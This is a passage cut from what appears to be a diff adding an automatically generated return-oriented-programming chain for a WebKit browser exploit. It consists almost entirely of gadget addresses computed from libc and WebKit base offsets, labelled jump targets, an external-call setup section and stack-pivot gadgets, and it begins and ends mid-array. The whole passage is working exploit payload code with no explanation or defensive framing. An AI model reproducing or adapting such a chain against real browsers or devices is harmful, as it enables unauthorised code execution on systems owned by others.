0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L448: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+83960, //L450 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83944, //L449 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L449: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L450: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+84056, //L452 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L451: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L452: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+84160, //L455 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+84144, //L454 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L454: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L455: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+84304, //L459 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+84272, //L457 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+84288, //L458 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L457: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L458: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L459: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+84376, //L460 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L460: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+84432, //L462 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L462: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+84528, //L465 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L464: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L465: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+84632, //L468 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+84616, //L467 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L467: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L468: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+84792, //L471 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+84824, //L473 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+84776, //L470 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+84808, //L472 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L470: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L471: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L472: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L473: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+84936, //L474 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+84968, //L476 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+84952, //L475 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L474: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L475: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L476: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+85056, //L477 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L477: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+85112, //L479 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L479: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+85184, //L481 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L481: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+85240, //L483 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L483: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +//L485: +libc_base+713278, //pop rsi +ropchain+85344, //L487 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L486: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L487: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+85448, //L490 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+85432, //L489 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L489: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L490: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+85608, //L493 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+85640, //L495 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+85592, //L492 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+85624, //L494 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L492: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L493: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L494: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L495: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+85736, //L497 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+85720, //L496 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L496: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L497: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+85824, //L499 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L498: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L499: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+85896, //L501 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L500: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L501: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+85960, //L503 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L503: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+489696, //pop rsp +ropchain+74104, //L202 +//L235: +libc_base+713278, //pop rsi +ropchain+86072, //L506 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L505: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L506: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+86176, //L509 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+86160, //L508 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L508: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L509: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+86288, //L511 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+86320, //L513 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+86304, //L512 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L511: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L512: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L513: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+86424, //L514 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+86440, //L515 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L514: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L515: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+86560, //L516 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+86544, //L517 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L517: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L516: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+86648, //L519 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+86632, //L518 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L518: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L519: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+86752, //L520 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+86768, //L521 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L520: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L521: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+86888, //L522 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+86872, //L523 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L523: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L522: +db([0, 0]); // 0x0 +//_create_extcall: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+86960, //L525 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L525: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+87024, //L526 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L526: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L528: +db([32, 0]); // 0x20 +set_gadget(libc_base+772328,); //pop rcx +//L529: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+87192, //L532 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+87176, //L531 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L531: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L532: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+87296, //L535 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+87312, //L536 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L534: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L535: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L536: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L538: +db([16, 0]); // 0x10 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+87456, //L541 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+87440, //L540 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L540: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L541: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+87600, //L545 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+87568, //L543 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+87584, //L544 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L543: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L544: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L545: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+87672, //L546 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L546: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+87728, //L548 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L548: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+87840, //L552 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L550: +db([1, 0]); // 0x1 +set_gadget(libc_base+772328,); //pop rcx +//L551: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L552: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+87920, //L553 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+87936, //L554 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L553: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L554: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+88024, //L555 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L555: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+88080, //L557 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L557: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+88200, //L560 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L559: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L560: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+88304, //L563 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+88288, //L562 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L562: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L563: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+88448, //L567 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+88416, //L565 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+88432, //L566 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L565: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L566: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L567: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+88520, //L568 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L568: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+88576, //L570 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L570: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+88688, //L574 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L572: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L573: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L574: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+88768, //L575 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+88784, //L576 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L575: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L576: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+88872, //L577 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L577: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+88928, //L579 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L579: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+89000, //L581 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L581: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+89056, //L583 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L583: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L585: +pivot_addr, +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+89208, //L587 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L586: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L587: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+89312, //L590 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+89296, //L589 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L589: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L590: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+89456, //L594 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+89424, //L592 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+89440, //L593 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L592: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L593: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L594: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+89528, //L595 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L595: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+89584, //L597 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L597: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+89696, //L601 